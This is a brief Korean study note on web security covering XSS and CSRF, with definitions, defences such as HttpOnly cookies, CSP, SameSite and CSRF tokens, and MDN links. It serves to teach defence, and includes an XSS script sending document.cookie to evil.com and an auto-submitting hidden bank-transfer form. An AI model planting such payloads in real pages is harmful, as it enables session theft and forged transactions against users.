## XSS XSS (Cross-Site Scripting) - 정의 : 공격자가 웹 페이지에 악성 스크립트를 삽입해서 클라이언트 브라우저에서 실행되도록 하는 공격 - 예시 ```html <script> fetch("https://evil.com/steal?cookie=" + document.cookie); </script> ``` - 대응 방법 - HttpOnly 속성으로 쿠키 보호 - 사용자 입력 검증과 escape/sanitize 처리 - CSP(Content Security Policy) 적용 ## CSRF CSRF (Cross-Site Request Forgery) - 정의 : 사용자가 의도하지 않은 요청을 특정 사이트로 보내도록 유도하는 공격 - 예시 : ```html <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000" /> <input type="hidden" name="to" value="attacker" /> <input type="submit" /> </form> <script>document.forms[0].submit();</script> ``` - 대응 방법 - SameSite 쿠기 속성 활용 (Lax, Strict) - CSRF 토큰 사용 - Referer / Origin 헤더 검증 ## 참고 - [Cross-site scripting (XSS) - Glossary \| MDN](https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting) - [Cross-site request forgery (CSRF) - Glossary \| MDN](https://developer.mozilla.org/en-US/docs/Glossary/CSRF)